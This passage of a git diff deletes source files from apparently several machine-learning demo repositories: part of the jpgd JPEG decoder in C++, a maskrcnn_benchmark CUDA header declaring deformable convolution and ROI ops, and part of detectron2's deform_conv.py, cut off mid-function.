(m_huff_num[m_comp_dc_tab[m_comp_list[i]]] == NULL)) - stop_decoding(JPGD_UNDEFINED_HUFF_TABLE); - - if ((m_spectral_end > 0) && (m_huff_num[m_comp_ac_tab[m_comp_list[i]]] == NULL)) - stop_decoding(JPGD_UNDEFINED_HUFF_TABLE); - } - - for (int i = 0; i < JPGD_MAX_HUFF_TABLES; i++) - if (m_huff_num[i]) - { - if (!m_pHuff_tabs[i]) - m_pHuff_tabs[i] = (huff_tables *)alloc(sizeof(huff_tables)); - - make_huff_table(i, m_pHuff_tabs[i]); - } - } - - // Determines the component order inside each MCU. - // Also calcs how many MCU's are on each row, etc. - void jpeg_decoder::calc_mcu_block_order() - { - int component_num, component_id; - int max_h_samp = 0, max_v_samp = 0; - - for (component_id = 0; component_id < m_comps_in_frame; component_id++) - { - if (m_comp_h_samp[component_id] > max_h_samp) - max_h_samp = m_comp_h_samp[component_id]; - - if (m_comp_v_samp[component_id] > max_v_samp) - max_v_samp = m_comp_v_samp[component_id]; - } - - for (component_id = 0; component_id < m_comps_in_frame; component_id++) - { - m_comp_h_blocks[component_id] = ((((m_image_x_size * m_comp_h_samp[component_id]) + (max_h_samp - 1)) / max_h_samp) + 7) / 8; - m_comp_v_blocks[component_id] = ((((m_image_y_size * m_comp_v_samp[component_id]) + (max_v_samp - 1)) / max_v_samp) + 7) / 8; - } - - if (m_comps_in_scan == 1) - { - m_mcus_per_row = m_comp_h_blocks[m_comp_list[0]]; - m_mcus_per_col = m_comp_v_blocks[m_comp_list[0]]; - } - else - { - m_mcus_per_row = (((m_image_x_size + 7) / 8) + (max_h_samp - 1)) / max_h_samp; - m_mcus_per_col = (((m_image_y_size + 7) / 8) + (max_v_samp - 1)) / max_v_samp; - } - - if (m_comps_in_scan == 1) - { - m_mcu_org[0] = m_comp_list[0]; - - m_blocks_per_mcu = 1; - } - else - { - m_blocks_per_mcu = 0; - - for (component_num = 0; component_num < m_comps_in_scan; component_num++) - { - int num_blocks; - - component_id = m_comp_list[component_num]; - - num_blocks = m_comp_h_samp[component_id] * m_comp_v_samp[component_id]; - - while (num_blocks--) - m_mcu_org[m_blocks_per_mcu++] = component_id; - } - } - } - - // Starts a new scan. - int jpeg_decoder::init_scan() - { - if (!locate_sos_marker()) - return JPGD_FALSE; - - calc_mcu_block_order(); - - check_huff_tables(); - - check_quant_tables(); - - memset(m_last_dc_val, 0, m_comps_in_frame * sizeof(uint)); - - m_eob_run = 0; - - if (m_restart_interval) - { - m_restarts_left = m_restart_interval; - m_next_restart_num = 0; - } - - fix_in_buffer(); - - return JPGD_TRUE; - } - - // Starts a frame. Determines if the number of components or sampling factors - // are supported. - void jpeg_decoder::init_frame() - { - int i; - - if (m_comps_in_frame == 1) - { - if ((m_comp_h_samp[0] != 1) || (m_comp_v_samp[0] != 1)) - stop_decoding(JPGD_UNSUPPORTED_SAMP_FACTORS); - - m_scan_type = JPGD_GRAYSCALE; - m_max_blocks_per_mcu = 1; - m_max_mcu_x_size = 8; - m_max_mcu_y_size = 8; - } - else if (m_comps_in_frame == 3) - { - if ( ((m_comp_h_samp[1] != 1) || (m_comp_v_samp[1] != 1)) || - ((m_comp_h_samp[2] != 1) || (m_comp_v_samp[2] != 1)) ) - stop_decoding(JPGD_UNSUPPORTED_SAMP_FACTORS); - - if ((m_comp_h_samp[0] == 1) && (m_comp_v_samp[0] == 1)) - { - m_scan_type = JPGD_YH1V1; - - m_max_blocks_per_mcu = 3; - m_max_mcu_x_size = 8; - m_max_mcu_y_size = 8; - } - else if ((m_comp_h_samp[0] == 2) && (m_comp_v_samp[0] == 1)) - { - m_scan_type = JPGD_YH2V1; - m_max_blocks_per_mcu = 4; - m_max_mcu_x_size = 16; - m_max_mcu_y_size = 8; - } - else if ((m_comp_h_samp[0] == 1) && (m_comp_v_samp[0] == 2)) - { - m_scan_type = JPGD_YH1V2; - m_max_blocks_per_mcu = 4; - m_max_mcu_x_size = 8; - m_max_mcu_y_size = 16; - } - else if ((m_comp_h_samp[0] == 2) && (m_comp_v_samp[0] == 2)) - { - m_scan_type = JPGD_YH2V2; - m_max_blocks_per_mcu = 6; - m_max_mcu_x_size = 16; - m_max_mcu_y_size = 16; - } - else - stop_decoding(JPGD_UNSUPPORTED_SAMP_FACTORS); - } - else - stop_decoding(JPGD_UNSUPPORTED_COLORSPACE); - - m_max_mcus_per_row = (m_image_x_size + (m_max_mcu_x_size - 1)) / m_max_mcu_x_size; - m_max_mcus_per_col = (m_image_y_size + (m_max_mcu_y_size - 1)) / m_max_mcu_y_size; - - // These values are for the *destination* pixels: after conversion. - if (m_scan_type == JPGD_GRAYSCALE) - m_dest_bytes_per_pixel = 1; - else - m_dest_bytes_per_pixel = 4; - - m_dest_bytes_per_scan_line = ((m_image_x_size + 15) & 0xFFF0) * m_dest_bytes_per_pixel; - - m_real_dest_bytes_per_scan_line = (m_image_x_size * m_dest_bytes_per_pixel); - - // Initialize two scan line buffers. - m_pScan_line_0 = (uint8 *)alloc(m_dest_bytes_per_scan_line, true); - if ((m_scan_type == JPGD_YH1V2) || (m_scan_type == JPGD_YH2V2)) - m_pScan_line_1 = (uint8 *)alloc(m_dest_bytes_per_scan_line, true); - - m_max_blocks_per_row = m_max_mcus_per_row * m_max_blocks_per_mcu; - - // Should never happen - if (m_max_blocks_per_row > JPGD_MAX_BLOCKS_PER_ROW) - stop_decoding(JPGD_ASSERTION_ERROR); - - // Allocate the coefficient buffer, enough for one MCU - m_pMCU_coefficients = (jpgd_block_t*)alloc(m_max_blocks_per_mcu * 64 * sizeof(jpgd_block_t)); - - for (i = 0; i < m_max_blocks_per_mcu; i++) - m_mcu_block_max_zag[i] = 64; - - m_expanded_blocks_per_component = m_comp_h_samp[0] * m_comp_v_samp[0]; - m_expanded_blocks_per_mcu = m_expanded_blocks_per_component * m_comps_in_frame; - m_expanded_blocks_per_row = m_max_mcus_per_row * m_expanded_blocks_per_mcu; - // Freq. domain chroma upsampling is only supported for H2V2 subsampling factor. -// BEGIN EPIC MOD -#if JPGD_SUPPORT_FREQ_DOMAIN_UPSAMPLING - m_freq_domain_chroma_upsample = (m_expanded_blocks_per_mcu == 4*3); -#else - m_freq_domain_chroma_upsample = 0; -#endif -// END EPIC MOD - - if (m_freq_domain_chroma_upsample) - m_pSample_buf = (uint8 *)alloc(m_expanded_blocks_per_row * 64); - else - m_pSample_buf = (uint8 *)alloc(m_max_blocks_per_row * 64); - - m_total_lines_left = m_image_y_size; - - m_mcu_lines_left = 0; - - create_look_ups(); - } - - // The coeff_buf series of methods originally stored the coefficients - // into a "virtual" file which was located in EMS, XMS, or a disk file. A cache - // was used to make this process more efficient. Now, we can store the entire - // thing in RAM. - jpeg_decoder::coeff_buf* jpeg_decoder::coeff_buf_open(int block_num_x, int block_num_y, int block_len_x, int block_len_y) - { - coeff_buf* cb = (coeff_buf*)alloc(sizeof(coeff_buf)); - - cb->block_num_x = block_num_x; - cb->block_num_y = block_num_y; - cb->block_len_x = block_len_x; - cb->block_len_y = block_len_y; - cb->block_size = (block_len_x * block_len_y) * sizeof(jpgd_block_t); - cb->pData = (uint8 *)alloc(cb->block_size * block_num_x * block_num_y, true); - return cb; - } - - inline jpgd_block_t *jpeg_decoder::coeff_buf_getp(coeff_buf *cb, int block_x, int block_y) - { - JPGD_ASSERT((block_x < cb->block_num_x) && (block_y < cb->block_num_y)); - return (jpgd_block_t *)(cb->pData + block_x * cb->block_size + block_y * (cb->block_size * cb->block_num_x)); - } - - // The following methods decode the various types of m_blocks encountered - // in progressively encoded images. - void jpeg_decoder::decode_block_dc_first(jpeg_decoder *pD, int component_id, int block_x, int block_y) - { - int s, r; - jpgd_block_t *p = pD->coeff_buf_getp(pD->m_dc_coeffs[component_id], block_x, block_y); - - if ((s = pD->huff_decode(pD->m_pHuff_tabs[pD->m_comp_dc_tab[component_id]])) != 0) - { - r = pD->get_bits_no_markers(s); - s = HUFF_EXTEND(r, s); - } - - pD->m_last_dc_val[component_id] = (s += pD->m_last_dc_val[component_id]); - - p[0] = static_cast(s << pD->m_successive_low); - } - - void jpeg_decoder::decode_block_dc_refine(jpeg_decoder *pD, int component_id, int block_x, int block_y) - { - if (pD->get_bits_no_markers(1)) - { - jpgd_block_t *p = pD->coeff_buf_getp(pD->m_dc_coeffs[component_id], block_x, block_y); - - p[0] |= (1 << pD->m_successive_low); - } - } - - void jpeg_decoder::decode_block_ac_first(jpeg_decoder *pD, int component_id, int block_x, int block_y) - { - int k, s, r; - - if (pD->m_eob_run) - { - pD->m_eob_run--; - return; - } - - jpgd_block_t *p = pD->coeff_buf_getp(pD->m_ac_coeffs[component_id], block_x, block_y); - - for (k = pD->m_spectral_start; k <= pD->m_spectral_end; k++) - { - s = pD->huff_decode(pD->m_pHuff_tabs[pD->m_comp_ac_tab[component_id]]); - - r = s >> 4; - s &= 15; - - if (s) - { - if ((k += r) > 63) - pD->stop_decoding(JPGD_DECODE_ERROR); - - r = pD->get_bits_no_markers(s); - s = HUFF_EXTEND(r, s); - - p[g_ZAG[k]] = static_cast(s << pD->m_successive_low); - } - else - { - if (r == 15) - { - if ((k += 15) > 63) - pD->stop_decoding(JPGD_DECODE_ERROR); - } - else - { - pD->m_eob_run = 1 << r; - - if (r) - pD->m_eob_run += pD->get_bits_no_markers(r); - - pD->m_eob_run--; - - break; - } - } - } - } - - void jpeg_decoder::decode_block_ac_refine(jpeg_decoder *pD, int component_id, int block_x, int block_y) - { - int s, k, r; - int p1 = 1 << pD->m_successive_low; - int m1 = (-1) << pD->m_successive_low; - jpgd_block_t *p = pD->coeff_buf_getp(pD->m_ac_coeffs[component_id], block_x, block_y); - - k = pD->m_spectral_start; - - if (pD->m_eob_run == 0) - { - for ( ; k <= pD->m_spectral_end; k++) - { - s = pD->huff_decode(pD->m_pHuff_tabs[pD->m_comp_ac_tab[component_id]]); - - r = s >> 4; - s &= 15; - - if (s) - { - if (s != 1) - pD->stop_decoding(JPGD_DECODE_ERROR); - - if (pD->get_bits_no_markers(1)) - s = p1; - else - s = m1; - } - else - { - if (r != 15) - { - pD->m_eob_run = 1 << r; - - if (r) - pD->m_eob_run += pD->get_bits_no_markers(r); - - break; - } - } - - do - { - // BEGIN EPIC MOD - JPGD_ASSERT(k < 64); - // END EPIC MOD - - jpgd_block_t *this_coef = p + g_ZAG[k]; - - if (*this_coef != 0) - { - if (pD->get_bits_no_markers(1)) - { - if ((*this_coef & p1) == 0) - { - if (*this_coef >= 0) - *this_coef = static_cast(*this_coef + p1); - else - *this_coef = static_cast(*this_coef + m1); - } - } - } - else - { - if (--r < 0) - break; - } - - k++; - - } while (k <= pD->m_spectral_end); - - if ((s) && (k < 64)) - { - p[g_ZAG[k]] = static_cast(s); - } - } - } - - if (pD->m_eob_run > 0) - { - for ( ; k <= pD->m_spectral_end; k++) - { - // BEGIN EPIC MOD - JPGD_ASSERT(k < 64); - // END EPIC MOD - - jpgd_block_t *this_coef = p + g_ZAG[k]; - - if (*this_coef != 0) - { - if (pD->get_bits_no_markers(1)) - { - if ((*this_coef & p1) == 0) - { - if (*this_coef >= 0) - *this_coef = static_cast(*this_coef + p1); - else - *this_coef = static_cast(*this_coef + m1); - } - } - } - } - - pD->m_eob_run--; - } - } - - // Decode a scan in a progressively encoded image. - void jpeg_decoder::decode_scan(pDecode_block_func decode_block_func) - { - int mcu_row, mcu_col, mcu_block; - int block_x_mcu[JPGD_MAX_COMPONENTS], m_block_y_mcu[JPGD_MAX_COMPONENTS]; - - memset(m_block_y_mcu, 0, sizeof(m_block_y_mcu)); - - for (mcu_col = 0; mcu_col < m_mcus_per_col; mcu_col++) - { - int component_num, component_id; - - memset(block_x_mcu, 0, sizeof(block_x_mcu)); - - for (mcu_row = 0; mcu_row < m_mcus_per_row; mcu_row++) - { - int block_x_mcu_ofs = 0, block_y_mcu_ofs = 0; - - if ((m_restart_interval) && (m_restarts_left == 0)) - process_restart(); - - for (mcu_block = 0; mcu_block < m_blocks_per_mcu; mcu_block++) - { - component_id = m_mcu_org[mcu_block]; - - decode_block_func(this, component_id, block_x_mcu[component_id] + block_x_mcu_ofs, m_block_y_mcu[component_id] + block_y_mcu_ofs); - - if (m_comps_in_scan == 1) - block_x_mcu[component_id]++; - else - { - if (++block_x_mcu_ofs == m_comp_h_samp[component_id]) - { - block_x_mcu_ofs = 0; - - if (++block_y_mcu_ofs == m_comp_v_samp[component_id]) - { - block_y_mcu_ofs = 0; - block_x_mcu[component_id] += m_comp_h_samp[component_id]; - } - } - } - } - - m_restarts_left--; - } - - if (m_comps_in_scan == 1) - m_block_y_mcu[m_comp_list[0]]++; - else - { - for (component_num = 0; component_num < m_comps_in_scan; component_num++) - { - component_id = m_comp_list[component_num]; - m_block_y_mcu[component_id] += m_comp_v_samp[component_id]; - } - } - } - } - - // Decode a progressively encoded image. - void jpeg_decoder::init_progressive() - { - int i; - - if (m_comps_in_frame == 4) - stop_decoding(JPGD_UNSUPPORTED_COLORSPACE); - - // Allocate the coefficient buffers. - for (i = 0; i < m_comps_in_frame; i++) - { - m_dc_coeffs[i] = coeff_buf_open(m_max_mcus_per_row * m_comp_h_samp[i], m_max_mcus_per_col * m_comp_v_samp[i], 1, 1); - m_ac_coeffs[i] = coeff_buf_open(m_max_mcus_per_row * m_comp_h_samp[i], m_max_mcus_per_col * m_comp_v_samp[i], 8, 8); - } - - for ( ; ; ) - { - int dc_only_scan, refinement_scan; - pDecode_block_func decode_block_func; - - if (!init_scan()) - break; - - dc_only_scan = (m_spectral_start == 0); - refinement_scan = (m_successive_high != 0); - - if ((m_spectral_start > m_spectral_end) || (m_spectral_end > 63)) - stop_decoding(JPGD_BAD_SOS_SPECTRAL); - - if (dc_only_scan) - { - if (m_spectral_end) - stop_decoding(JPGD_BAD_SOS_SPECTRAL); - } - else if (m_comps_in_scan != 1) /* AC scans can only contain one component */ - stop_decoding(JPGD_BAD_SOS_SPECTRAL); - - if ((refinement_scan) && (m_successive_low != m_successive_high - 1)) - stop_decoding(JPGD_BAD_SOS_SUCCESSIVE); - - if (dc_only_scan) - { - if (refinement_scan) - decode_block_func = decode_block_dc_refine; - else - decode_block_func = decode_block_dc_first; - } - else - { - if (refinement_scan) - decode_block_func = decode_block_ac_refine; - else - decode_block_func = decode_block_ac_first; - } - - decode_scan(decode_block_func); - - m_bits_left = 16; - get_bits(16); - get_bits(16); - } - - m_comps_in_scan = m_comps_in_frame; - - for (i = 0; i < m_comps_in_frame; i++) - m_comp_list[i] = i; - - calc_mcu_block_order(); - } - - void jpeg_decoder::init_sequential() - { - if (!init_scan()) - stop_decoding(JPGD_UNEXPECTED_MARKER); - } - - void jpeg_decoder::decode_start() - { - init_frame(); - - if (m_progressive_flag) - init_progressive(); - else - init_sequential(); - } - - void jpeg_decoder::decode_init(jpeg_decoder_stream *pStream) - { - init(pStream); - locate_sof_marker(); - } - - jpeg_decoder::jpeg_decoder(jpeg_decoder_stream *pStream) - { - if (setjmp(m_jmp_state)) - return; - decode_init(pStream); - } - - int jpeg_decoder::begin_decoding() - { - if (m_ready_flag) - return JPGD_SUCCESS; - - if (m_error_code) - return JPGD_FAILED; - - if (setjmp(m_jmp_state)) - return JPGD_FAILED; - - decode_start(); - - m_ready_flag = true; - - return JPGD_SUCCESS; - } - - jpeg_decoder::~jpeg_decoder() - { - free_all_blocks(); - } - - jpeg_decoder_file_stream::jpeg_decoder_file_stream() - { - m_pFile = NULL; - m_eof_flag = false; - m_error_flag = false; - } - - void jpeg_decoder_file_stream::close() - { - if (m_pFile) - { - fclose(m_pFile); - m_pFile = NULL; - } - - m_eof_flag = false; - m_error_flag = false; - } - - jpeg_decoder_file_stream::~jpeg_decoder_file_stream() - { - close(); - } - - bool jpeg_decoder_file_stream::open(const char *Pfilename) - { - close(); - - m_eof_flag = false; - m_error_flag = false; - -#if defined(_MSC_VER) - m_pFile = NULL; - fopen_s(&m_pFile, Pfilename, "rb"); -#else - m_pFile = fopen(Pfilename, "rb"); -#endif - return m_pFile != NULL; - } - - int jpeg_decoder_file_stream::read(uint8 *pBuf, int max_bytes_to_read, bool *pEOF_flag) - { - if (!m_pFile) - return -1; - - if (m_eof_flag) - { - *pEOF_flag = true; - return 0; - } - - if (m_error_flag) - return -1; - - int bytes_read = static_cast(fread(pBuf, 1, max_bytes_to_read, m_pFile)); - if (bytes_read < max_bytes_to_read) - { - if (ferror(m_pFile)) - { - m_error_flag = true; - return -1; - } - - m_eof_flag = true; - *pEOF_flag = true; - } - - return bytes_read; - } - - bool jpeg_decoder_mem_stream::open(const uint8 *pSrc_data, uint size) - { - close(); - m_pSrc_data = pSrc_data; - m_ofs = 0; - m_size = size; - return true; - } - - int jpeg_decoder_mem_stream::read(uint8 *pBuf, int max_bytes_to_read, bool *pEOF_flag) - { - *pEOF_flag = false; - - if (!m_pSrc_data) - return -1; - - uint bytes_remaining = m_size - m_ofs; - if ((uint)max_bytes_to_read > bytes_remaining) - { - max_bytes_to_read = bytes_remaining; - *pEOF_flag = true; - } - - memcpy(pBuf, m_pSrc_data + m_ofs, max_bytes_to_read); - m_ofs += max_bytes_to_read; - - return max_bytes_to_read; - } - - unsigned char *decompress_jpeg_image_from_stream(jpeg_decoder_stream *pStream, int *width, int *height, int *actual_comps, int req_comps) - { - if (!actual_comps) - return NULL; - *actual_comps = 0; - - if ((!pStream) || (!width) || (!height) || (!req_comps)) - return NULL; - - if ((req_comps != 1) && (req_comps != 3) && (req_comps != 4)) - return NULL; - - jpeg_decoder decoder(pStream); - if (decoder.get_error_code() != JPGD_SUCCESS) - return NULL; - - const int image_width = decoder.get_width(), image_height = decoder.get_height(); - *width = image_width; - *height = image_height; - *actual_comps = decoder.get_num_components(); - - if (decoder.begin_decoding() != JPGD_SUCCESS) - return NULL; - - const int dst_bpl = image_width * req_comps; - - uint8 *pImage_data = (uint8*)jpgd_malloc(dst_bpl * image_height); - if (!pImage_data) - return NULL; - - for (int y = 0; y < image_height; y++) - { - const uint8* pScan_line = 0; - uint scan_line_len; - if (decoder.decode((const void**)&pScan_line, &scan_line_len) != JPGD_SUCCESS) - { - jpgd_free(pImage_data); - return NULL; - } - - uint8 *pDst = pImage_data + y * dst_bpl; - - if (((req_comps == 4) && (decoder.get_num_components() == 3)) || - ((req_comps == 1) && (decoder.get_num_components() == 1))) - { - memcpy(pDst, pScan_line, dst_bpl); - } - else if (decoder.get_num_components() == 1) - { - if (req_comps == 3) - { - for (int x = 0; x < image_width; x++) - { - uint8 luma = pScan_line[x]; - pDst[0] = luma; - pDst[1] = luma; - pDst[2] = luma; - pDst += 3; - } - } - else - { - for (int x = 0; x < image_width; x++) - { - uint8 luma = pScan_line[x]; - pDst[0] = luma; - pDst[1] = luma; - pDst[2] = luma; - pDst[3] = 255; - pDst += 4; - } - } - } - else if (decoder.get_num_components() == 3) - { - if (req_comps == 1) - { - const int YR = 19595, YG = 38470, YB = 7471; - for (int x = 0; x < image_width; x++) - { - int r = pScan_line[x*4+0]; - int g = pScan_line[x*4+1]; - int b = pScan_line[x*4+2]; - *pDst++ = static_cast((r * YR + g * YG + b * YB + 32768) >> 16); - } - } - else - { - for (int x = 0; x < image_width; x++) - { - pDst[0] = pScan_line[x*4+0]; - pDst[1] = pScan_line[x*4+1]; - pDst[2] = pScan_line[x*4+2]; - pDst += 3; - } - } - } - } - - return pImage_data; - } - -// BEGIN EPIC MOD - unsigned char *decompress_jpeg_image_from_memory(const unsigned char *pSrc_data, int src_data_size, int *width, int *height, int *actual_comps, int req_comps, int format) - { - jpg_format = (ERGBFormatJPG)format; -// EMD EPIC MOD - jpgd::jpeg_decoder_mem_stream mem_stream(pSrc_data, src_data_size); - return decompress_jpeg_image_from_stream(&mem_stream, width, height, actual_comps, req_comps); - } - - unsigned char *decompress_jpeg_image_from_file(const char *pSrc_filename, int *width, int *height, int *actual_comps, int req_comps) - { - jpgd::jpeg_decoder_file_stream file_stream; - if (!file_stream.open(pSrc_filename)) - return NULL; - return decompress_jpeg_image_from_stream(&file_stream, width, height, actual_comps, req_comps); - } - -} // namespace jpgd diff --git a/spaces/haotiz/glip-zeroshot-demo/maskrcnn_benchmark/csrc/cuda/vision.h b/spaces/haotiz/glip-zeroshot-demo/maskrcnn_benchmark/csrc/cuda/vision.h deleted file mode 100644 index 31318c2cb85622682ea41cbfa9cf0654b0d78996..0000000000000000000000000000000000000000 --- a/spaces/haotiz/glip-zeroshot-demo/maskrcnn_benchmark/csrc/cuda/vision.h +++ /dev/null @@ -1,116 +0,0 @@ -// Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved. -#pragma once -#include - - -at::Tensor SigmoidFocalLoss_forward_cuda( - const at::Tensor& logits, - const at::Tensor& targets, - const int num_classes, - const float gamma, - const float alpha); - -at::Tensor SigmoidFocalLoss_backward_cuda( - const at::Tensor& logits, - const at::Tensor& targets, - const at::Tensor& d_losses, - const int num_classes, - const float gamma, - const float alpha); - -at::Tensor ROIAlign_forward_cuda(const at::Tensor& input, - const at::Tensor& rois, - const float spatial_scale, - const int pooled_height, - const int pooled_width, - const int sampling_ratio); - -at::Tensor ROIAlign_backward_cuda(const at::Tensor& grad, - const at::Tensor& rois, - const float spatial_scale, - const int pooled_height, - const int pooled_width, - const int batch_size, - const int channels, - const int height, - const int width, - const int sampling_ratio); - - -std::tuple ROIPool_forward_cuda(const at::Tensor& input, - const at::Tensor& rois, - const float spatial_scale, - const int pooled_height, - const int pooled_width); - -at::Tensor ROIPool_backward_cuda(const at::Tensor& grad, - const at::Tensor& input, - const at::Tensor& rois, - const at::Tensor& argmax, - const float spatial_scale, - const int pooled_height, - const int pooled_width, - const int batch_size, - const int channels, - const int height, - const int width); - -at::Tensor nms_cuda(const at::Tensor boxes, float nms_overlap_thresh); -at::Tensor ml_nms_cuda(const at::Tensor boxes, float nms_overlap_thresh); - -int deform_conv_forward_cuda(at::Tensor input, at::Tensor weight, - at::Tensor offset, at::Tensor output, - at::Tensor columns, at::Tensor ones, int kW, - int kH, int dW, int dH, int padW, int padH, - int dilationW, int dilationH, int group, - int deformable_group, int im2col_step); - -int deform_conv_backward_input_cuda(at::Tensor input, at::Tensor offset, - at::Tensor gradOutput, at::Tensor gradInput, - at::Tensor gradOffset, at::Tensor weight, - at::Tensor columns, int kW, int kH, int dW, - int dH, int padW, int padH, int dilationW, - int dilationH, int group, - int deformable_group, int im2col_step); - -int deform_conv_backward_parameters_cuda( - at::Tensor input, at::Tensor offset, at::Tensor gradOutput, - at::Tensor gradWeight, // at::Tensor gradBias, - at::Tensor columns, at::Tensor ones, int kW, int kH, int dW, int dH, - int padW, int padH, int dilationW, int dilationH, int group, - int deformable_group, float scale, int im2col_step); - -void modulated_deform_conv_cuda_forward( - at::Tensor input, at::Tensor weight, at::Tensor bias, at::Tensor ones, - at::Tensor offset, at::Tensor mask, at::Tensor output, at::Tensor columns, - int kernel_h, int kernel_w, const int stride_h, const int stride_w, - const int pad_h, const int pad_w, const int dilation_h, - const int dilation_w, const int group, const int deformable_group, - const bool with_bias); - -void modulated_deform_conv_cuda_backward( - at::Tensor input, at::Tensor weight, at::Tensor bias, at::Tensor ones, - at::Tensor offset, at::Tensor mask, at::Tensor columns, - at::Tensor grad_input, at::Tensor grad_weight, at::Tensor grad_bias, - at::Tensor grad_offset, at::Tensor grad_mask, at::Tensor grad_output, - int kernel_h, int kernel_w, int stride_h, int stride_w, int pad_h, - int pad_w, int dilation_h, int dilation_w, int group, int deformable_group, - const bool with_bias); - -void deform_psroi_pooling_cuda_forward( - at::Tensor input, at::Tensor bbox, at::Tensor trans, at::Tensor out, - at::Tensor top_count, const int no_trans, const float spatial_scale, - const int output_dim, const int group_size, const int pooled_size, - const int part_size, const int sample_per_part, const float trans_std); - -void deform_psroi_pooling_cuda_backward( - at::Tensor out_grad, at::Tensor input, at::Tensor bbox, at::Tensor trans, - at::Tensor top_count, at::Tensor input_grad, at::Tensor trans_grad, - const int no_trans, const float spatial_scale, const int output_dim, - const int group_size, const int pooled_size, const int part_size, - const int sample_per_part, const float trans_std); - - -at::Tensor compute_flow_cuda(const at::Tensor& boxes, - const int height, - const int width); diff --git a/spaces/hasibzunair/fifa-tryon-demo/Self-Correction-Human-Parsing-for-ACGPN/mhp_extension/detectron2/detectron2/layers/deform_conv.py b/spaces/hasibzunair/fifa-tryon-demo/Self-Correction-Human-Parsing-for-ACGPN/mhp_extension/detectron2/detectron2/layers/deform_conv.py deleted file mode 100644 index ba8c6498ffdfffa281e1f02037d40cbbb6e66164..0000000000000000000000000000000000000000 --- a/spaces/hasibzunair/fifa-tryon-demo/Self-Correction-Human-Parsing-for-ACGPN/mhp_extension/detectron2/detectron2/layers/deform_conv.py +++ /dev/null @@ -1,494 +0,0 @@ -# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved -import math -from functools import lru_cache -import torch -from torch import nn -from torch.autograd import Function -from torch.autograd.function import once_differentiable -from torch.nn.modules.utils import _pair - -from detectron2 import _C - -from .wrappers import _NewEmptyTensorOp - - -class _DeformConv(Function): - @staticmethod - def forward( - ctx, - input, - offset, - weight, - stride=1, - padding=0, - dilation=1, - groups=1, - deformable_groups=1, - im2col_step=64, - ): - if input is not None and input.dim() != 4: - raise ValueError( - "Expected 4D tensor as input, got {}D tensor instead.".format(input.dim()) - ) - ctx.stride = _pair(stride) - ctx.padding = _pair(padding) - ctx.dilation = _pair(dilation) - ctx.groups = groups - ctx.deformable_groups = deformable_groups - ctx.im2col_step = im2col_step - - ctx.save_for_backward(input, offset, weight) - - output = input.new_empty( - _DeformConv._output_size(input, weight, ctx.padding, ctx.dilation, ctx.stride) - ) - - ctx.bufs_ = [input.new_empty(0), input.new_empty(0)] # columns, ones - - if not input.is_cuda: - raise NotImplementedError - else: - cur_im2col_step = _DeformConv._cal_im2col_step(input.shape[0], ctx.im2col_step) - assert (input.shape[0] % cur_im2col_step) == 0, "im2col step must divide batchsize" - - _C.deform_conv_forward( - input, - weight, - offset, - output, - ctx.bufs_[0], - ctx.bufs_[1], - weight.size(3), - weight.size(2), - ctx.stride[1], - ctx.stride[0], - ctx.padding[1], - ctx.padding[0], - ctx.dilation[1], - ctx.dilation[0], - ctx.groups, - ctx.deformable_groups, - cur_im2col_step, - ) - return output - - @staticmethod - @once_differentiable - def backward(ctx, grad_output): - input, offset, weight = ctx.saved_tensors - - grad_input = grad_offset = grad_weight = None - - if not grad_output.is_cuda: - raise NotImplementedError - else: - cur_im2col_step = _DeformConv._cal_im2col_step(input.shape[0], ctx.im2col_step) - assert (input.shape[0] % cur_im2col_step) == 0, "im2col step must divide batchsize" - - if ctx.needs_input_grad[0] or ctx.needs_input_grad[1]: - grad_input = torch.zeros_like(input) - grad_offset = torch.zeros_like(offset) - _C.deform_conv_backward_input( - input, - offset, - grad_output, - grad_input, - grad_offset, - weight, - ctx.bufs_[0], - weight.size(3), - weight.size(2), - ctx.stride[1], - ctx.stride[0], - ctx.padding[1], - ctx.padding[0], - ctx.dilation[1], - ctx.dilation[0], - ctx.groups, - ctx.deformable_groups, - cur_im2col_step, - ) - - if ctx.needs_input_grad[2]: - grad_weight = torch.zeros_like(weight) - _C.deform_conv_backward_filter( - input, - offset, - grad_output, - grad_weight, - ctx.bufs_[0], - ctx.bufs_[1], - weight.size(3), - weight.size(2), - ctx.stride[1], - ctx.stride[0], - ctx.padding[1], - ctx.padding[0], - ctx.dilation[1], - ctx.dilation[0], - ctx.groups, - ctx.deformable_groups, - 1, - cur_im2col_step, - ) - - return grad_input, grad_offset, grad_weight, None, None, None, None, None, None - - @staticmethod - def _output_size(input, weight, padding, dilation, stride): - channels = weight.size(0) - output_size = (input.size(0), channels) - for d in range(input.dim() - 2): - in_size = input.size(d + 2) - pad = padding[d] - kernel = dilation[d] * (weight.size(d + 2) - 1) + 1 - stride_ = stride[d] - output_size += ((in_size + (2 * pad) - kernel) // stride_ + 1,) - if not all(map(lambda s: s > 0, output_size)): - raise ValueError( - "convolution input is too small (output would be {})".format( - "x".join(map(str, output_size)) - ) - ) - return output_size - - @staticmethod - @lru_cache(maxsize=128) - def _cal_im2col_step(input_size, default_size): - """ - Calculate proper im2col step size, which should be divisible by input_size and not larger - than prefer_size. Meanwhile the step size should be as large as possible to be more - efficient. So we choose the largest one among all divisors of input_size which are smaller - than prefer_size. - :param input_size: input batch size . - :param default_size: default preferred im2col step size. - :return: the largest proper step size. - """ - if input_size <= default_size: - return input_size - best_step = 1 - for step in range(2, min(int(math.sqrt(input_size)) + 1, default_size)): - if input_size % step == 0: - if input_size // step <= default_size: - return input_size // step - best_step = step - - return best_step - - -class _ModulatedDeformConv(Function): - @staticmethod - def forward( - ctx, - input, - offset, - mask, - weight, - bias=None, - stride=1, - padding=0, - dilation=1, - groups=1, - deformable_groups=1, - ): - ctx.stride = stride - ctx.padding = padding - ctx.dilation = dilation - ctx.groups = groups - ctx.deformable_groups = deformable_groups - ctx.with_bias = bias is not None - if not ctx.with_bias: - bias = input.new_empty(1) # fake tensor - if not input.is_cuda: - raise NotImplementedError - if ( - weight.requires_grad - or mask.requires_grad - or offset.requires_grad - or input.requires_grad - ): - ctx.save_for_backward(input, offset, mask, weight, bias) - output = input.new_empty(_ModulatedDeformConv._infer_shape(ctx, input, weight)) - ctx._bufs = [input.new_empty(0), input.new_empty(0)] - _C.modulated_deform_conv_forward( - input, - weight, - bias, - ctx._bufs[0], - offset, - mask, - output, - ctx._bufs[1], - weight.shape[2], - weight.shape[3], - ctx.stride, - ctx.stride, - ctx.padding, - ctx.padding, - ctx.dilation, - ctx.dilation, - ctx.groups, - ctx.deformable_groups, - ctx.with_bias, - ) - return output - - @staticmethod - @once_differentiable - def backward(ctx, grad_output): - if not grad_output.is_cuda: - raise NotImplementedError - input, offset, mask, weight, bias = ctx.saved_tensors 